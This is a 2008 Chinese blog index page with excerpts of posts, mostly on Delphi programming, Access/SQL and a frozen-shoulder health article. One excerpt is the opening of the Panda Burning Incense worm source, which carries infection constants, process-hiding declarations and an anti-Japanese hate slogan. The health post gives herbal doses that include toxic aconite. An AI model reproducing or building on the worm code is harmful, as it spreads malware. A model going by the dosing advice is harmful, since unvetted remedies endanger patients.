博文
禁止多实例运行(2008-08-21 15:08:00)
摘要:program Project1;
uses
Windows,
Forms,
Unit1 in 'Unit1.pas' {Form1},
Function_U in 'E:\工作\JJQDS_V2\Function_U.pas',
Config_U in 'E:\工作\JJQDS_V2\Config_U.pas';
{$R *.res}
var
hAppMutex : THandle;
begin
Application.Initialize;
hAppMutex := CreateMutex(nil,False,PChar('{19D51511-8490-42AC-B677-E3D59AF822B1}'));
if hAppMutex = 0 then
begin
MessageBox(0,PChar('创建互斥对象失败!'),PChar('Error'),MB_OK + MB_ICONINFORMATION);
Exit;
end;
if (hAppMutex <> 0) and (GetLastError = ERROR_ALREADY_EXISTS) then
begin
MessageBox(0,PChar('不是第一次运行这个程序!'),PChar('OK'),MB_OK + MB_ICONINFORMATION);
CloseHandle(hAppMutex);
Exit;
end;
Application.CreateForm(TForm1, Form1);
Application.Run;
CloseHandle(hAppMutex);
end.
=====......
打印机编程整理(2008-08-11 14:28:00)
摘要: { tell printer to go to the default by setting
the PrinterIndex value to -1 }
Printer.PrinterIndex := -1;
{ make our combobox non-editable }
ComboBox1.Style := csDropDownList;
{ set our combobox items to the printer printers }
ComboBox1.Items := Printer.Printers;
{ set combobox to view the default printer
according to printer printerindex as set above }
ComboBox1.ItemIndex := Printer.PrinterIndex;
===================================================================
//从并行端口读取打印机状态
function GetPrinterStatus:byte;
asm
MOV DX,$379;
IN AL,DX;
end;
//获取打印机是否出错
function CheckPrinter:boolean;
var
temp:byte;
begin
temp:=GetPrinterStatus;
Result:=not ( ((temp a......
[健康]肩周炎(2008-08-11 14:23:00)
摘要:肩周炎又称肩关节组织炎,这是肩周肌肉、肌腱、滑囊和关节囊等软组织的慢性炎症,50岁左右的人比较常见。但办公室的工作人员由于长期伏案工作,肩部的肌肉韧带处在紧张状态,故50岁以下人中也不少见。中医认为本病由肩部感受风寒所致,又因患病后胸肩关节僵硬,活动受限,好像冻结了一样,所以称“冻结肩”、“肩凝症”。
肩关节是人体全身各关节中活动范围最大的关节。其关节囊较松驰,关节的稳定性大部分靠关节周围的肌肉、肌健和韧带的力量来维持。由于肌腱本身的血液供应较差,而且随着年龄的增长而发生退行性改变,加之肩关节在生活中活动比较频繁,周围软组织经常受到来自各方面的磨擦挤压,故而易发生慢性劳损。
1.临床表现
肩周炎的发病特点为慢性过程。初期为炎症期,肩部疼痛难忍,尤以夜间为甚。睡觉时常因肩怕压而特定卧位,翻身困难,疼痛不止,不能入睡。如果初期治疗不当,将逐渐发展为肩关节活动受限,不能上举,呈冻结状。常影响日常生活,吃饭穿衣,洗脸梳头均感困难。严重时生活不能自理,肩臂局部肌肉也会萎缩,患者极为痛苦。
2.治疗方法
中药治疗:肩周炎初期,中成药可选用木瓜丸、小活络丹、国公酒治疗。汤药可选用经验方:柴胡10g,当归10g,白芍10g,陈皮10g,清半夏10g,羌活10g,桔梗10g,白芥子10g,黑附片10g,秦艽10g,茯苓10g。以白酒作引,水煎服,每日2次,饭后服。
肩周炎后期,中成药可选用大活络丹、舒经活络丸、五加皮酒治疗。汤药可选用经验方:当归30g,丹参30g,桂枝15g,透骨草30g,羌活18g,生地黄30g,香附10g,草乌9g,忍冬藤40g,桑枝20g。水煎服,每日2次。
3.功能锻炼
目前,对肩周炎的治疗,多数学者认为,服用止痛药物只能治标,暂时缓解症状,停药后多数会复发。而运用手术松解方法治疗,术后容易引起粘连。所以采用中医的手法治疗被认为是较佳方案,若患者能坚持功能锻炼,预后相当不错。
下面介绍肩周炎的八种自我防治动作供患者参考:
(1)屈肘甩手 患者背部靠墙站立,或仰卧在床上,上臂贴身、屈肘,以肘点作为支点,进行外旋活动。
(2)手指爬墙 患者面对墙壁站立,用患侧手指沿墙缓缓向上爬动,使上肢尽量高举,......
ACCESS,SQL(包含字段类型说明,及语法创建表)(2008-08-06 11:00:00)
摘要:
//
ACCESS,SQL(包含字段类型说明,及语法创建表)
ACCESS所有类型为:
Big Integer、Binary、Boolean、Byte、Char、Currency、Date/Time、Decimal、Double、Float、GUID、Integer、Long、Long Binary (OLE Object)、Memo、Numeric、Single、Text、Time、TimeStamp 以及 VarBinary。
常用的几种:
Date/Time 日期/时间
Boolean 是/否
Decimal 小数
Memo 备注
Text 文本
Integer 整数
如果用自动编号且主键,如下:
create table table1 (id autoincrement(1,1) primary key)
CREATE TABLE AAA(RID Counter,url Memo,ActName Memo, ActDate text(150), Up_Time text(100))
连接字符串:conn = "Provider = Microsoft.Jet.OLEDB.4.0;Data Source = 法律之星.mdb";
SQL SERVER 2005:
DATENAME
返回代表指定日期的指定日期部分的字符串。
语法
DATENAME ( datepart , date )
参数
datepart
是指定应返回的日期部分的参数。下表列出了 Microsoft® SQL Server™ 识别的日期部分和缩写。
日期部分
缩写
year
yy, yyyy
quarter
qq, q
month
mm, m
dayofyear
dy, y
day
dd, d
week
wk, ww
weekday
dw
Hour
hh
minute
mi, n
second
ss, s
millisecond
ms
weekd......
delphi动态创建access数据库(2008-08-06 09:00:00)
摘要:主 题:我解决了几乎所有Delphi+Access同仁的问题—动态创建、压缩Access数据库(*.MDB)
作 者:Hank
所属论坛:Delphi
问题点数:30
回复次数:13
发表时间:2000-12-29 17:19:00
动态创建、压缩Access数据库(*.MDB)
声明:这是前无古人,后无来者的解决方案(有点吹,但是我实在太激动了!),希望各位能多多关照
创建Access数据库几乎是所有Delphi+Access所遇到的难题,我经过两头(昨天上午到现在)的艰苦奋战,终于将它全部解开,现在一一奉献给大家:
一、通过OLE方式创建
相信各位都用通过OLE方式访问Word、Excel文件的经历,具体我不说太多,直接把具体代码写出来就完了
在引用部分加入:
uses ComObj;
实现部分:
procedure TFormOffice.BitBtn1Click(Sender: TObject);
var
CreateAccess:OleVariant;
begin
CreateAccess:=CreateOleObject('ADOX.Catalog');
CreateAccess.Create('Provider=Microsoft.Jet.OLEDB.4.0;Data Source=c:\Aceco.mdb');
end;
说明:
1、在C:\下创建Aceco.mdb;
2、是Access2000格式,用Access97打不开;
3、系统需安装......
[Delphi]熊猫烧香源代码(2008-08-05 16:26:00)
摘要:声明:代码仅供学习研究用,若用此程序进行违法活动一切后果由你本人承担,否则,请马上离开.program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量
//在Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同 PS:现在都Delphi 7 了.
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $44444444; //感染标记
//垃圾码,以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap:......
delphi 枚举与子界(2008-08-05 11:12:00)
摘要:初学者对于枚举与子界比较容易混淆,特别是有些朋友是自学的.
下边就举个既联系又区别的例子:
{枚举和子界的声明定义}
type
Month=(Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec); //定义Month(月份)为枚举型
Spring=Feb..May; //定义Spring(春天)为子界型
{几个枚举函数}
Ord(Mar)的值为2; //求枚举序数字
Pred(Mar)的值为1; //求前驱值
Succ(Mar)的值为3; //求后继值
Low(Month)的值为0; //求第一个枚举量,是Jan对应的值,但有不少初学的朋友误以为它的值是"Jan"
High(Month)的值为11; //......
delphi dll 动态连接(2008-08-04 20:44:00)
摘要:节约系统开销,方便软件升级。
动态链接库是一个能够被应用程序和其它的DLL调用的过程和函数的集合体,它里面包含的是公共代码或资源。由于DLL代码使用了内存共享技术,在某些地方windows也给了DLL一些更高的权限,因而DLL中可以实现一些一般程序所不能实现的功能,如实现windows的HOOK、ISAPI等。同时,DLL还为不同语言间代码共享提供了一条方便的途径。因而DLL在编程时应用较为广泛,本文将介绍如何在 Delphi 中建立和使用DLL。
一.DLL 库内存共享机制
从使用效果看,DLL和unit 很像,它们都可以被别的工程模块所调用,但二者在内部的实现机制上确存在着差别。如果一个程序模块中用uses语句引用了某个unit,编译程序在编译该模块时,便会连同unit一起编译,并把编译后的可执行代码链接到本程序模块中,这就是一个程序模块能够调用所引用unit中过程和函数的原因。当同一个unit被多个工程所引用时,则每个工程中都含有该unit的可执行代码,当含有该unit的多个工程同时执行时,unit的可执行代码会随不同工程而多次被调入内存,造成内存资源的浪费。DLL则不同,它即使被某个工程调用,编译后仍是独立的,也就是说编译后,一个DLL库形成一个单独的可执行文件,而不与任何其它的可执行文件连接在一起,因而DLL库并不从属于某个特定的工程,当多个工程调用同一个DLL库时只有第一个工程把DLL库调入内存,其余工程并不重复调入同一个DLL库到内存,而是到同一个共享内存区读取。并且,DLL的执行代码是在程序运行期间动态调入的,而不是如unit在程序运行时就与整个工程一起调入内存。这样便可消除unit带来的相同代码多处占用内存的弊病。
二 Delphi中DLL库的建立
在Delphi环境中,编写一个DLL同编写一个一般的应用程序并没有太大的区别。事实上作为DLL主体的DLL函数的编写,除了在内存、资源的管理上有所不同外,并不需要其它特别的手段。
一般工程文件的格式为:
program 工程标题;
uses 子句;
程序体
而DLLs工程文件的格式为:
library 工程标题;
uses 子句;
exprots 子句;
程序体
它们主......
高等数学符号读法(2008-08-04 08:48:00)
摘要:大写 小写 英文注音 国际音标注音 中文注音
Α α alpha alfa 阿耳法
Β β beta beta 贝塔
Γ γ gamma gamma 伽马
Δ δ deta delta 德耳塔
Ε ε epsilon epsilon 艾普西隆
Ζ ζ zeta zeta 截塔
Η η eta eta 艾塔
Θ θ theta θita 西塔
Ι ι iota iota 约塔
Κ κ kappa kappa 卡帕
∧ λ lambda lambda 兰姆达
Μ μ mu miu 缪
Ν ν nu niu 纽
Ξ ξ xi ksi 可塞
Ο ο omicron omikron 奥密可戎
∏ π pi pai 派
Ρ ρ rho rou 柔
∑ σ sigma sigma 西格马
Τ τ tau tau 套
Υ υ upsilon jupsilon 衣普西隆
Φ φ phi fai 斐
Χ χ chi khai 喜
Ψ ψ psi psai 普西
Ω ω omega omiga 欧米伽......
Delphi 快捷键(转)(2008-08-04 08:38:00)
摘要:Delphi 快捷键(转)
Ctrl+PageUp 将光标移至本屏的第一行,屏幕不滚动。
Ctrl+PageDown 将光标移至本屏的最后一行,屏幕不滚动。
Ctrl+↓ 向下滚动屏幕,光标跟随滚动不出本屏。
Ctrl+↑ 向上滚动屏幕,光标跟随滚动不出本屏。
Ctrl+Shift+NUM 在光标行设置最多九个临时标志号,对临时切换非常有用。
行的左边将出现一本书,封面有NUM,再按一次取消设置。
Ctrl+NUM 直接将光标跳到NUM处,NUM是用Ctrl+Shift+NUM设置的标号。
NUM不能用小键盘。
Ctrl+Home 将光标移至文件头。
Ctrl+End 将光标移至文件尾。
Ctrl+B Buffer List窗口。
Ctrl+I......